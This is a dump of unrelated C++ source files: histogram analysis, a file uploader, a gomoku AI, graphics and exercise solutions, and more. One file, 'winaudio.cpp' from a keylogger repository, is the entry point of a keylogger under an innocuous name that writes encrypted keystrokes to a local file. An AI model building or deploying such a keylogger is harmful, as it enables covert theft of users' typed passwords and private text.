%s",fPullHisto->GetAxis(i)->GetTitle(),"(mean)"); h->GetYaxis()->SetTitle(title); snprintf(title,256,"%s vs %s",title,fPullHisto->GetAxis(j)->GetTitle()); h->SetTitle(title); //if(j==9) h->SetBit(TH1::kLogX); aFolderObj->Add(h); } } for (Int_t i = 0;i < fResolHisto->GetNdimensions();i++) { fResolHisto->GetAxis(i)->SetRange(1,0); //Reset Range } for (Int_t i = 0;i < fPullHisto->GetNdimensions();i++) { fPullHisto->GetAxis(i)->SetRange(1,0); //Reset Range } // export objects to analysis folder fAnalysisFolder = ExportToFolder(aFolderObj); // delete only TObjArray if(aFolderObj) delete aFolderObj; } //_____________________________________________________________________________ TFolder* AliPerformanceRes::ExportToFolder(TObjArray * array) { // recreate folder avery time and export objects to new one // AliPerformanceRes * comp=this; TFolder *folder = comp->GetAnalysisFolder(); TString name, title; TFolder *newFolder = 0; Int_t i = 0; Int_t size = array->GetSize(); if(folder) { // get name and title from old folder name = folder->GetName(); title = folder->GetTitle(); // delete old one delete folder; // create new one newFolder = CreateFolder(name.Data(),title.Data()); newFolder->SetOwner(); // add objects to folder while(i < size) { newFolder->Add(array->At(i)); i++; } } return newFolder; } //_____________________________________________________________________________ Long64_t AliPerformanceRes::Merge(TCollection* const list) { // Merge list of objects (needed by PROOF) if (!list) return 0; if (list->IsEmpty()) return 1; TIterator* iter = list->MakeIterator(); TObject* obj = 0; // collection of generated histograms Int_t count=0; while((obj = iter->Next()) != 0) { AliPerformanceRes* entry = dynamic_cast<AliPerformanceRes*>(obj); if (entry == 0) continue; if (fResolHisto->GetEntries()<fgkMergeEntriesCut){ fResolHisto->Add(entry->fResolHisto); fPullHisto->Add(entry->fPullHisto); } count++; } return count; } //_____________________________________________________________________________ TFolder* AliPerformanceRes::CreateFolder(TString name,TString title) { // create folder for analysed histograms // TFolder *folder = 0; folder = new TFolder(name.Data(),title.Data()); return folder; }

fb91f6eaa8d8ee4570429a0ed27d843cbd9b7e4f

1d3220f8f390aa9f5847ace75afdb045531e6cd5

/DMUploadingRule.cpp

afbd8ae8d3bf984ef96b2eeb2910225e7677da0c

no_license

persenlee/FileTransfer

d85d7577e3366c5515d86ef47c8c925feb2d62d1

fff2f0b9649fd6259cece45e6b2adfa3bb26d008

refs/heads/master

UTF-8

C++

cpp

// // DMUploadingRule.cpp // FileTransfer // // Created by duomai on 16/5/16. // // #include "DMUploadingRule.hpp" #include "DMFileUploadManager.hpp" #include "DMFileTransferException.hpp" #include "DMFileTransferDef.h" using namespace web; using namespace web::json; void logRequest(http_request request); void logResponse(http_response response); void DMUploadingRule::setUserToken(string const &token) { _userToken = token; } #pragma mark - Ovrride Methods bool DMUploadingRule::preProcess() { return checkFileMeta(); } bool DMUploadingRule::doUpload() { return uploadFileChunk(); } bool DMUploadingRule::endProcess() { return true; } #pragma mark - Private Methods bool DMUploadingRule::checkFileMeta() { json::value params = json::value::object(); utility::string_t file_hash(U("file_hash")); params[file_hash] = json::value(_file.SHA1()); utility::string_t file_crc(U("file_crc")); params[file_crc] = json::value(_file.CRC32()); utility::string_t file_name(U("file_name")); params[file_name] = json::value(_file.fileName); utility::string_t total_size(U("total_size")); params[total_size] = json::value(_file.fileSize()); const method mtd = methods::POST; const utility::string_t field_name1 = U("user_session_token"); const utility::string_t value1 = _userToken; http_request request(mtd); request.set_request_uri(U("check_file_meta")); request.headers().add(field_name1, value1); request.set_body(params); request.headers().add(U("User-Agent"), "DMFileUploadManager"); pplx::task<http_response> responsetTask = _client.request(request); logRequest(request); http_response resp ; try { resp = responsetTask.get(); } catch (http_exception ex) { DMFileTransferException dmException((int)DMFileTransfer_CouldNotGetResponse); throw dmException; } logResponse(resp); if (resp.status_code() == 200) { pplx::task<json::value> jsonTask = resp.extract_json(); json::value result= jsonTask.get(); json::value file_status = result[U("file_status")]; // json::value file_upload_token = result[U("file_upload_token")]; json::value file_url = result[U("file_url")]; json::value last_ok_chunk_sn = result[U("last_ok_chunk_sn")]; json::value chunk_size = result[U("chunk_size")]; cfmrModel = CheckFileMetaResponseModel((DMFileUploadStatus)file_status.as_integer(), !file_upload_token.is_null() ? file_upload_token.as_string() : "", !chunk_size.is_null() ? chunk_size.as_integer() : 0, !last_ok_chunk_sn.is_null() ? last_ok_chunk_sn.as_integer() : 0, !file_url.is_null() ? file_url.as_string() : ""); switch (cfmrModel.file_status) { case 0: { _handler->uploadingProgressHandler(0, _file.fileSize()); } break; case 1: { _handler->uploadingProgressHandler(cfmrModel.chunk_size * cfmrModel.last_ok_chunk_sn, _file.fileSize()); } break; case 2: { _handler->uploadCompleteHandler(true,file_url.as_string()); _handler->uploadingProgressHandler(_file.fileSize(), _file.fileSize()); return false; } break; default: break; } return true; } else { _handler->uploadCompleteHandler(false, ""); return false; } } bool DMUploadingRule::uploadFileChunk() { bool success = false; const method mtd = methods::POST; const utility::string_t field_name1 = U("upload_token"); const utility::string_t value1 = cfmrModel.file_upload_token; http_request request(mtd); request.set_request_uri(U("upload_file_chunk")); request.headers().add(field_name1, value1); request.headers().set_content_length(INTMAX_MAX); request.headers().add(U("User-Agent"), "DMFileUploadManager"); int64_t File_Size = _file.fileLength(); _file.openFile(/*iostream::binary*/); //续传 int64_t uploadedSize = cfmrModel.last_ok_chunk_sn * cfmrModel.chunk_size; if (uploadedSize > 0) { _file.moveFileReadPos(uploadedSize); } do { int request_again_times = 0; int readSize = cfmrModel.chunk_size; if (uploadedSize + cfmrModel.chunk_size > File_Size) { readSize = File_Size % cfmrModel.chunk_size; } std::vector<unsigned char> body; _file.readFile2Vector(body, readSize); request.set_body(body); request_again: request_again_times ++; logRequest(request); pplx::task<http_response> responsetTask = _client.request(request); http_response resp ; try { resp = responsetTask.get(); } catch (http_exception ex) { DMFileTransferException dmException((int)DMFileTransfer_CouldNotGetResponse); throw dmException; } logResponse(resp); if (resp.status_code() == 200) { pplx::task<json::value> jsonTask = resp.extract_json(); json::value result= jsonTask.get(); cout << "response body : " << result.serialize() << endl; json::value file_status = result[U("file_status")]; // json::value chunk_status = result[U("chunk_status")]; json::value file_url = result[U("file_url")]; switch (file_status.as_integer()) { case 1: //正在上传 { if (chunk_status.as_integer() == -1) { // 标识数据块保存失败 goto request_again; } else if(chunk_status.as_integer() == 0){ uploadedSize += readSize; _handler->uploadingProgressHandler(uploadedSize, File_Size); } } break; case 2: //上传成功 { uploadedSize += readSize; _handler->uploadingProgressHandler(uploadedSize, File_Size); _handler->uploadCompleteHandler(true,file_url.as_string()); success = true; } break; case -1: //文件上传失败 { _handler->uploadCompleteHandler(false, "");; } break; default: break; } } else { _handler->uploadCompleteHandler(false, ""); } } while (uploadedSize < File_Size); _file.closeFile(); return success; } void logRequest(http_request request) { cout << "---------------------request start------------------" << endl; cout << request.to_string() << endl; cout << "---------------------request end------------------" << endl << endl; } void logResponse(http_response response) { cout << "++++++++++++++++++++response start++++++++++++++++++++" << endl; cout << response.to_string() << endl; cout << "++++++++++++++++++++response end++++++++++++++++++++" << endl << endl; }

376f659de9de4170c19135d4e5e6f4fa7d95e938

bc33abf80f11c4df023d6b1f0882bff1e30617cf

/CPP/other/李泉彰/hhh.cpp

0e114bad33f893d5b9c3e166e74c22c9172ffe76

no_license

pkuzhd/ALL

0fad250c710b4804dfd6f701d8f45381ee1a5d11

c18525decdfa70346ec32ca2f47683951f4c39e0

refs/heads/master

C++

UTF-8

C++

cpp

#include <stdio.h> #include <iostream> using namespace std; int qipan[15][15] = { 0 }; int times = 0; int print(); bool is_win(int x, int y, int flag); bool is_near(int x, int y); bool AI_set(int flag); int calc_value(int x, int y, int flag, int depth, int _max_value); int qixing(int x, int y); int main(int argc, char **argv) { int flag = 1; while (true) { ++times; print(); int x, y; if (flag == 1) { while (true) { cin >> x >> y; if (!qipan[x][y] || x < 0 || x >= 15 || y < 0 || y >= 15) break; } qipan[x][y] = flag; if (is_win(x, y, flag)) break; } else { if (AI_set(flag)) break; } flag *= -1; } if (flag == 1) { printf("black\n"); } else { printf("white\n"); } system("pause"); return 0; } int print() { for (int i = 0; i < 15; ++i) { for (int j = 0; j < 15; ++j) cout << (qipan[i][j] ? (qipan[i][j] == 1 ? "*" : "#") : "0"); cout << endl; } cout << endl; return 0; } bool is_win(int x, int y, int flag) { int number = 1; for (int i = x + 1; i < 15; ++i) { if (qipan[i][y] == flag) ++number; else break; } for (int i = x - 1; i >= 0; --i) { if (qipan[i][y] == flag) ++number; else break; } if (number >= 5) return true; number = 1; for (int i = y + 1; i < 15; ++i) { if (qipan[x][i] == flag) ++number; else break; } for (int i = y - 1; i >= 0; --i) { if (qipan[x][i] == flag) ++number; else break; } if (number >= 5) return true; number = 1; for (int j = 1; x + j < 15 && y + j < 15; ++j) { if (qipan[x + j][y + j] == flag) ++number; else break; } for (int j = 1; x - j >= 0 && y - j >= 0; ++j) { if (qipan[x - j][y - j] == flag) ++number; else break; } if (number >= 5) return true; number = 1; for (int j = 1; x + j < 15 && y - j >= 0; ++j) { if (qipan[x + j][y - j] == flag) ++number; else break; } for (int j = 1; x - j >= 0 && y + j < 15; ++j) { if (qipan[x - j][y + j] == flag) ++number; else break; } if (number >= 5) return true; return false; } bool is_near(int x, int y) { // cout << x << " " << y << endl; int _near = 2; for (int i = (x - _near >= 0 ? x - _near : 0); i <= (x + _near < 15 ? x + _near : 14); ++i) { for (int j = (y - _near >= 0 ? y - _near : 0); j <= (y + _near < 15 ? y + _near : 14); ++j) { if (qipan[i][j]) return true; } } return false; } bool AI_set(int flag) { int max_value = -10000000; int x = 7, y = 7; for (int i = 0; i < 15; ++i) { for (int j = 0; j < 15; ++j) { if (qipan[i][j]) continue; if (!is_near(i, j)) continue; int t_value = calc_value(i, j, flag, 0, max_value); if (is_win(i, j, flag)) { qipan[i][j] = flag; return true; } if (t_value > max_value) { max_value = t_value; x = i; y = j; } } } qipan[x][y] = flag; cout << x << " " << y << " " << flag << " " << is_win(x, y, flag)<< endl; return false; } int calc_value(int x, int y, int flag, int depth, int _max_value) { int _value = 0; qipan[x][y] = flag; if (depth < 4) { int max_value = -10000000; for (int i = 0; i < 15; ++i) { for (int j = 0; j < 15; ++j) { if (qipan[i][j] || !is_near(i, j)) continue; int t_value = calc_value(i, j, -flag, depth + 1, max_value); if (t_value > -_max_value) { qipan[x][y] = 0; return t_value; } if (is_win(i, j, -flag)) { qipan[x][y] = 0; return -10000000; } if (t_value > max_value) { max_value = t_value; } } } _value -= max_value; } else _value += qixing(x, y); qipan[x][y] = 0; return _value; } int qixing(int x, int y) { int flag = qipan[x][y]; bool dead = false; int number = 1; int _value = 0; int sz_qixing[2][6] = { 0 }; // x 方向 number = 1; dead = false; for (int i = x + 1; ; ++i) { if (i < 15 && qipan[i][y] == flag) ++number; else { if (i >= 15 || qipan[i][y]) dead = true; break; } } for (int i = x - 1; i >= 0; --i) { if (i >= 0 && qipan[i][y] == flag) ++number; else { if ((i < 0 || qipan[i][y]) && dead) break; else { if (dead || qipan[i][y]) dead = true; ++sz_qixing[dead][number]; } } } // y方向 number = 1; dead = false; for (int i = y + 1; ; ++i) { if (i < 15 && qipan[x][i] == flag) ++number; else { if (i >= 15 || qipan[x][i]) dead = true; break; } } for (int i = y - 1; i >= 0; --i) { if (i >= 0 && qipan[x][i] == flag) ++number; else { if ((i < 0 || qipan[x][i]) && dead) break; else { if (dead || qipan[x][i]) dead = true; ++sz_qixing[dead][number]; } } } // x y 方向 number = 1; dead = false; for (int i = 1; ; ++i) { if (x + i < 15 && y + i < 15 && qipan[x + i][y + i] == flag) ++number; else { if (x + i >= 15 || y + i >= 15 || qipan[x + i][y + i]) dead = true; break; } } for (int i = 1; ; ++i) { if (x - i >= 0 && y - i >= 0 && qipan[x - i][y - i] == flag) ++number; else { if ((x - i < 0 || y - i < 0 || qipan[x - i][y - i]) && dead) break; else { if (dead || qipan[x - i][y - i]) dead = true; ++sz_qixing[dead][number]; } } } // x -y 方向 number = 1; dead = false; for (int i = 1; ; ++i) { if (x + i < 15 && y - i >= 0 && qipan[x + i][y - i] == flag) ++number; else { if (x + i >= 15 || y - i < 0 || qipan[x + i][y - i]) dead = true; break; } } for (int i = 1; ; ++i) { if (x - i >= 0 && y + i < 15 && qipan[x - i][y + i] == flag) ++number; else { if ((x - i < 0 || y + i >= 15 || qipan[x - i][y + i]) && dead) break; else { if (dead || qipan[x - i][y + i]) dead = true; ++sz_qixing[dead][number]; } } } if (sz_qixing[false][4] || (sz_qixing[true][4] + sz_qixing[false][3]) >= 2) _value += 1000000; _value += sz_qixing[false][3] * 10000; _value += sz_qixing[true][3] * 1000; _value += sz_qixing[false][2] * 100; _value += sz_qixing[true][2] * 10; return _value; }

d36c2432233ab70a0053973699452863fde71965

6464a913b63d1b1f7904ffe034195e85939491d6

/winaudio/winaudio.cpp

a6990b939c6155a93bd81b1e66278ae0c8aeffd3

no_license

AdaDoom3/windows_keylogger

6acbfbb7d113f6ee0718e5089f0e0fcd15559854

727202791dd02d67e6f94cdc5106b1f767c547c8

refs/heads/master

UTF-8

C++

cpp

// winaudio.cpp : Defines the entry point for the application. // #include "stdafx.h" #include "winaudio.h" #include "MainProcessHandler.h" #include "Buffer.h" #include "KeyLogger.h" #include "FileWriter.h" #include "BufferWriterProcess.h" #include <stdio.h> #include "Queue.h" #include "blowfish.h" #define MAX_LOADSTRING 100 HINSTANCE hInst; // current instance TCHAR szTitle[MAX_LOADSTRING]; // The title bar text TCHAR szWindowClass[MAX_LOADSTRING]; // the main window class name HINSTANCE myInstance; // Forward declarations of functions included in this code module: BOOL InitInstance(HINSTANCE, int); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM); int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); // Initialize global strings LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadString(hInstance, IDC_WINAUDIO, szWindowClass, MAX_LOADSTRING); myInstance = hInstance; /*QueueTest(); BufferTester *test = new BufferTester(); test->RunTest(); RunVirtualKeyCodeConverterTest(); */ /*if (RunCryptoTest()) { }*/ Buffer *buffer = new Buffer(); TCHAR *file = L"c:\\test.txt"; FileWriter *fileWriter = new FileWriter(file); KeyLogger::GetInstance()->SetBuffer(buffer); BufferWriterProcess *bufferWriter = new BufferWriterProcess(buffer,fileWriter); bufferWriter->EnableEncryption(); KeyLogger::GetInstance()->Enable(); bufferWriter->Enable(); MainProcessHandler::GetInstance()->Run(); return 0; }

36a545137c7c8972f084997716e578ad86d3ac15

afcce85e08d8fc5141a840fe77bf7bf93f49df54

/tests/2015-09-10/fft_shift/main.cpp

5fd27aab9e2480a56af1d2bf0dfe2ab2e4eeaa98

no_license

icopavan/Automatic-Modulation-Classification-ELEN4012

ff8f58a467129b371a9d2b042169fc99620b2959

d72e3b4d36ad88b2872a8b33606c120f18b974e6

refs/heads/master

UTF-8

C++

cpp

#include "mainwindow.h" #include <QApplication> #include <fftw3.h> #include <cmath> int main(int argc, char *argv[]) { QApplication a(argc, argv); MainWindow w; w.show(); double PI = 4 * atan(1); int N = 512; // number of samples double fs = 10e3; // sampling frequency double fc = 1000; // signal frequency double t[N]; fftw_complex * x = (fftw_complex*) fftw_malloc(sizeof(fftw_complex) * N); double f[N]; // calculation for (int n = 0; n < N; ++n) { t[n] = n/fs; x[n][0] = cos(2*PI*fc*t[n]); x[n][1] = 0; f[n] = (n - N/2) * fs / (N-1); } fftw_complex *out; fftw_plan plan_forward; out = (fftw_complex*) fftw_malloc(sizeof(fftw_complex) * N); plan_forward = fftw_plan_dft_1d(N, x, out, FFTW_FORWARD, FFTW_ESTIMATE); fftw_execute(plan_forward); w.plot(f, out, N); return a.exec(); }

71b57f5243d516e395976e4bdf4e9b22391da34d

46de5c99419f112b4507fd386f398769626ad328

/thinkbig2.cpp

16cfc1eba8eed89495a53e3254d4d0856bad3cb9

no_license

sanu11/Codes

20a7903d95d600078db8b0bf0e12a3731615c3c1

dd58a5577b51ade54f95c96003fc2c99609c15eb

refs/heads/master

UTF-8

C++

cpp

#include<bits/stdc++.h> using namespace std; int main() { int n,m; cin>>n; int arr[n]; int x,y; map<int,int>a; map<int,int>::iterator p; for(int i=0;i<n;i++) { cin>>arr[i]; cin>>x; for(int j=0;j<x;j++) { cin>>y; p=a.find(y); if(p==a.end()) a.insert(make_pair(y,1)); } } p=a.begin(); for(int i=0;i<n;i++) { p=a.begin(); while(p!=a.end()) { // cout<<arr[i]<<" "<<p->first<<endl; if(arr[i]==p->first) p->second--; p++; } } p=a.begin(); int sum=0; while(p!=a.end()) { //cout<<p->first<<" "<<p->second<<endl; sum+=p->second; p++; } cout<<sum<<endl; return 0; }

c00af421b2b38fc9ea7376fde3f61ce25a7df7cf

258cb026f59dff826ada21702e6efa3f952981c4

/Test/frametest/frametest/P2C5_LitPyramid.cpp

63c9c761fdad8365905381019f4ca39ffd90714a

no_license

sryanyuan/Srender

dbac0e1aa1b1c06f41d67dc7b93d407f776434cd

bb168d969f5008e99a06bc831fbb1a3db619e3ef

refs/heads/master

UTF-8

C++

cpp

#include "stdafx.h" #include "P2C5_LitPyramid.h" #include <core/SRColor.h> ////////////////////////////////////////////////////////////////////////// void CalculateNormal(D3DXVECTOR3* _pOut, const D3DXVECTOR3* _p0, const D3DXVECTOR3* _p1, const D3DXVECTOR3* _p2) { D3DXVECTOR3 u = *_p1 - *_p0; D3DXVECTOR3 v = *_p2 - *_p0; // left hand coordinate system... D3DXVec3Cross(_pOut, &u, &v); D3DXVec3Normalize(_pOut, _pOut); } ////////////////////////////////////////////////////////////////////////// LitPyramid::LitPyramid() { m_pVB = NULL; } LitPyramid::~LitPyramid() { } bool LitPyramid::OnEnvCreate() { m_pVB = Gfx_CreateVertexBuffer<SRNormalVertex>(4 * 3); if(NULL == m_pVB) { return false; } SRNormalVertex* pVertex = NULL; m_pVB->Lock(0, 0, (void**)&pVertex, 0); // front side D3DXVECTOR3 v0; D3DXVECTOR3 v1; D3DXVECTOR3 v2; D3DXVECTOR3 vn; pVertex[0] = SRNormalVertex(-1.0f, 0.0f, -1.0f); pVertex[1] = SRNormalVertex(0.0f, 1.0f, 0.0f); pVertex[2] = SRNormalVertex(1.0f, 0.0f, -1.0f); v0.x = pVertex[0].GetX(); v0.y = pVertex[0].GetY(); v0.z = pVertex[0].GetZ(); v1.x = pVertex[1].GetX(); v1.y = pVertex[1].GetY(); v1.z = pVertex[1].GetZ(); v2.x = pVertex[2].GetX(); v2.y = pVertex[2].GetY(); v2.z = pVertex[2].GetZ(); CalculateNormal(&vn, &v0, &v1, &v2); pVertex[0].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[1].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[2].SetNormalXYZ(vn.x, vn.y, vn.z); // left side pVertex[3] = SRNormalVertex(-1.0f, 0.0f, 1.0f); pVertex[4] = SRNormalVertex(0.0f, 1.0f, 0.0f); pVertex[5] = SRNormalVertex(-1.0f, 0.0f, -1.0f); v0.x = pVertex[3].GetX(); v0.y = pVertex[3].GetY(); v0.z = pVertex[3].GetZ(); v1.x = pVertex[4].GetX(); v1.y = pVertex[4].GetY(); v1.z = pVertex[4].GetZ(); v2.x = pVertex[5].GetX(); v2.y = pVertex[5].GetY(); v2.z = pVertex[5].GetZ(); CalculateNormal(&vn, &v0, &v1, &v2); pVertex[3].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[4].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[5].SetNormalXYZ(vn.x, vn.y, vn.z); // right side pVertex[6] = SRNormalVertex(1.0f, 0.0f, -1.0f); pVertex[7] = SRNormalVertex(0.0f, 1.0f, 0.0f); pVertex[8] = SRNormalVertex(1.0f, 0.0f, 1.0f); v0.x = pVertex[6].GetX(); v0.y = pVertex[6].GetY(); v0.z = pVertex[6].GetZ(); v1.x = pVertex[7].GetX(); v1.y = pVertex[7].GetY(); v1.z = pVertex[7].GetZ(); v2.x = pVertex[8].GetX(); v2.y = pVertex[8].GetY(); v2.z = pVertex[8].GetZ(); CalculateNormal(&vn, &v0, &v1, &v2); pVertex[6].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[7].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[8].SetNormalXYZ(vn.x, vn.y, vn.z); // back side pVertex[9] = SRNormalVertex(1.0f, 0.0f, 1.0f); pVertex[10] = SRNormalVertex(0.0f, 1.0f, 0.0f); pVertex[11] = SRNormalVertex(-1.0f, 0.0f, 1.0f); v0.x = pVertex[9].GetX(); v0.y = pVertex[9].GetY(); v0.z = pVertex[9].GetZ(); v1.x = pVertex[10].GetX(); v1.y = pVertex[10].GetY(); v1.z = pVertex[10].GetZ(); v2.x = pVertex[11].GetX(); v2.y = pVertex[11].GetY(); v2.z = pVertex[11].GetZ(); CalculateNormal(&vn, &v0, &v1, &v2); pVertex[9].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[10].SetNormalXYZ(vn.x, vn.y, vn.z); pVertex[11].SetNormalXYZ(vn.x, vn.y, vn.z); m_pVB->Unlock(); m_pD3Dev9->SetRenderState(D3DRS_LIGHTING, TRUE); D3DMATERIAL9 mtrl; mtrl.Ambient = SRColor::GetCommonColor(SRColor::CC_WHITE); mtrl.Diffuse = SRColor::GetCommonColor(SRColor::CC_WHITE); mtrl.Specular = SRColor::GetCommonColor(SRColor::CC_WHITE); mtrl.Emissive = SRColor::GetCommonColor(SRColor::CC_BLACK); mtrl.Power = 5.0f; m_pD3Dev9->SetMaterial(&mtrl); D3DLIGHT9 lgt; ZeroMemory(&lgt, sizeof(lgt)); lgt.Type = D3DLIGHT_DIRECTIONAL; lgt.Diffuse = SRColor::GetCommonColor(SRColor::CC_WHITE); lgt.Specular = SRColor::GetCommonColor(SRColor::CC_WHITE) * 0.3f; lgt.Ambient = SRColor::GetCommonColor(SRColor::CC_WHITE) * 0.6f; lgt.Direction = D3DXVECTOR3(1.0f, 0.0f, 0.0f); m_pD3Dev9->SetLight(0, &lgt); m_pD3Dev9->LightEnable(0, TRUE); m_pD3Dev9->SetRenderState(D3DRS_NORMALIZENORMALS, TRUE); m_pD3Dev9->SetRenderState(D3DRS_SPECULARENABLE, TRUE); D3DXVECTOR3 pos(0.0f, 1.0f, -3.0f); Gfx_SetViewTransform(&pos); Gfx_SetProjectionTransform(); return true; } void LitPyramid::OnEnvDestroy() { SSAFE_RELEASE(m_pVB); } void LitPyramid::OnDrawFrame() { SRRenderApp* pApp = SRRenderApp::GetInstancePtr(); static float s_fRotateY = 0.0f; s_fRotateY += pApp->GetTimeDelta(); static float s_fRotateX = 0.0f; s_fRotateX += pApp->GetTimeDelta() * 0.5f; D3DXMATRIX roty; D3DXMatrixRotationY(&roty, s_fRotateY); D3DXMATRIX rotx; D3DXMatrixRotationX(&rotx, s_fRotateX); D3DXMATRIX rot = rotx * roty; if(s_fRotateY > 6.28f) { s_fRotateY = 0.0f; } if(s_fRotateX > 6.28f) { s_fRotateX = 0.0f; } m_pD3Dev9->SetTransform(D3DTS_WORLD, &roty); m_pD3Dev9->Clear(0, 0, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0x00000000, 1.0f, 0); m_pD3Dev9->BeginScene(); m_pD3Dev9->SetStreamSource(0, m_pVB, 0, sizeof(SRNormalVertex)); m_pD3Dev9->SetFVF(SRNormalVertex::FVF); m_pD3Dev9->DrawPrimitive(D3DPT_TRIANGLELIST, 0, 4); m_pD3Dev9->EndScene(); m_pD3Dev9->Present(0, 0, 0, 0); }

0e5baca75fdd2c54621542f6cf7b7bde1bdf4164

fdebe3129bb47afc1924e45e1ed3c97ee9213ac4

/GA-TSP/test.cpp

3bbfaacce92afe022185cf0c23ee0c0d44e5e17d

no_license

SYSU532/artificial-intelligence

3604e07b3670555d65ac2d36dbbf458f69658a07

e0847fb1d181415137580e1c3e529e2120ed09d4

refs/heads/master

UTF-8

C++

cpp

#include <node.h> namespace demo{ using v8::FunctionCallbackInfo; using v8::Isolate; using v8::Local; using v8::Object; using v8::String; using v8::Value; using v8::Number; // Method1 实现一个 输出"hello world ONE !" 的方法 void Method1(const FunctionCallbackInfo<Value>& args){ Isolate* isolate = args.GetIsolate(); args.GetReturnValue().Set(String::NewFromUtf8(isolate, "hello world ONE !")); } // Method2 实现一个 加一 的方法 void Method2(const FunctionCallbackInfo<Value>& args){ Isolate* isolate = args.GetIsolate(); Local<Number> value = Local<Number>::Cast(args[0]); double num = value->NumberValue() + 1; char buf[128] = {0}; sprintf(buf,"%f", num); args.GetReturnValue().Set(String::NewFromUtf8(isolate, buf)); } void init(Local<Object> exports){ NODE_SET_METHOD(exports, "hello1", Method1); NODE_SET_METHOD(exports, "addOne", Method2); } NODE_MODULE(addon, init) }

c0b9cd92c56f6f91ed9a7a6f7b5ae7a03a9d9b74

406b6f3e8355bcab9add96f3cff044823186fe37

/src/Simulation/osg_2d_simulation/quad.cpp

01c1fcc1ce18c295f1b29ec90b3b6adace8f46c2

no_license

Micalson/puppet

96fd02893f871c6bbe0abff235bf2b09f14fe5d9

d51ed9ec2f2e4bf65dc5081a9d89d271cece28b5

refs/heads/master

UTF-8

C++

cpp

#include "quad.h" #include <osgWrapper\UtilCreator.h> Quad::Quad() { m_node = new OSGWrapper::QuadAttributeUtilNode(1); m_geometry = OSGWrapper::UtilCreator::CreateUnitQuad(); m_node->AddChild(m_geometry); } Quad::~Quad() { } void Quad::SetOffset(const osg::Vec2f& offset) { m_offset = offset; UpdateGeometry(); } void Quad::SetSize(const osg::Vec2f& size) { m_size = size; UpdateGeometry(); } void Quad::SetRect(const osg::Vec2f& offset, const osg::Vec2f& size) { m_offset = offset; m_size = size; UpdateGeometry(); } void Quad::UpdateGeometry() { osg::Vec2Array* coord_array = dynamic_cast<osg::Vec2Array*>(m_geometry->getVertexAttribArray(0)); if (coord_array) { coord_array->at(0) = m_offset; coord_array->at(1) = m_offset + osg::Vec2f(m_size.x(), 0.0f); coord_array->at(2) = m_offset + osg::Vec2f(m_size.x(), m_size.y()); coord_array->at(3) = m_offset + osg::Vec2f(0.0f, m_size.y()); coord_array->dirty(); } } OSGWrapper::QuadAttributeUtilNode* Quad::Generate() { return m_node; } OSGWrapper::UIQuad* Quad::HitTest(float x, float y) { OSGWrapper::UIQuad* q = OSGWrapper::UIQuad::HitTest(x, y); if (q) return q; if (x >= m_offset.x() && x <= m_offset.x() + m_size.x() && y >= m_offset.y() && y <= m_offset.y() + m_size.y()) return this; return 0; }

39cc31371670480b292396298ed339ab29cd2e67

3dc0034f54360349734e5b133f169e39cdff3ce5

/BUGLIFE-12867964-src.cpp

412ba3f82f97ff515730e433b6f57995f2dd67c2

no_license

anshul1927/SPOJ-Solutions

6c8022d11b3097b8ef3af2c17983375e01b8eb56

07c1d4dcc5b29c4b3a0c61cc8bc7d7e10307822a

refs/heads/master

UTF-8

C++

cpp

#include <iostream> #include<queue> #include<cstring> #include<cstdio> #define comp(c) (c==1)?2:1 #define gc getchar_unlocked using namespace std; bool sus; int idx[2000]; bool done[2000]; int bugs[2000]; int inter[2000][2000]; int n,in; void scanint(int &x) { register int c = gc(); x = 0; for(;(c<48 || c>57);c = gc()); for(;c>47 && c<58;c = gc()) {x = (x<<1) + (x<<3) + c - 48;} } void bfs(){ for(int p=0;p<n;p++){ if(!done[p]){ queue<int> Q; bugs[p]=1; done[p]=true; Q.push(p); while(!Q.empty()){ int curr=Q.front(); Q.pop(); for(int i=0;i<idx[curr];i++){ if(!done[inter[curr][i]]){ bugs[inter[curr][i]]=comp(bugs[curr]); Q.push(inter[curr][i]); done[inter[curr][i]]=true; } else{ if(bugs[inter[curr][i]]==bugs[curr]){ sus=true; return; } } } } } } } int main() { long long t; cin>>t; for(long long j=1;j<=t;j++){ scanint(n); scanint(in); memset(idx,0,sizeof idx); for(int i=0;i<in;i++){ int x,y; scanint(x); scanint(y); x=x-1; y=y-1; inter[x][idx[x]]=y;idx[x]++; inter[y][idx[y]]=x;idx[y]++; } sus=false; memset(bugs,0,sizeof bugs); memset(done,false,sizeof bugs); bfs(); cout<<"Scenario #"<<j<<":"<<endl; if(sus)printf("Suspicious bugs found!\n"); else printf("No suspicious bugs found!\n"); } return 0; }

b68966c17d5045233b5646054d6eadc547b96397

9d34ceb787b7e7a0aa9d242e401f0b13c2e4ea94

/JoaoScaravonatti.cpp

7278f4a435cc05195b6a61560ed065092c4ef52a

no_license

joaoscaravonatti/projeto-final-algoritmos

31a5d2ed39afd6d918894869e2c43972f44f0be7

23f6d11aacbe714471cc064490da6a634ac0bfa9

refs/heads/master

ISO-8859-1

C++

cpp

#include<stdio.h> #include<stdlib.h> #include<conio.h> #include<string.h> #include<locale.h> #include<windows.h> #define tam 1000 struct cliente{ int codigo; char nome[50]; char sexo[20]; char dataNascimento[12]; char cpf[12]; char telefone[11]; char email[100]; }; int id = 0; int i = 0; struct cliente clientes[tam]; void cadastrar(){ id++; clientes[id].codigo = id; printf("\nColoque o nome completo: "); scanf(" %[^\n]s",&clientes[id].nome); printf("\nColoque o CPF sem formatação: "); scanf("%s",&clientes[id].cpf); printf("\nColoque o sexo (masculino/feminino): "); scanf("%s",&clientes[id].sexo); printf("\nColoque a data de nascimento no formato XX/XX/XXXX: "); scanf("%s",&clientes[id].dataNascimento); printf("\nColoque o telefone sem formatação: "); scanf("%s",&clientes[id].telefone); printf("\nColoque o email: "); scanf("%s",&clientes[id].email); } void excluir(int codigo){ clientes[codigo].codigo = 0; strcpy(clientes[codigo].nome,""); } void consultarCod(int codigo){ int verificar=0; system("cls"); if(codigo != 0){ 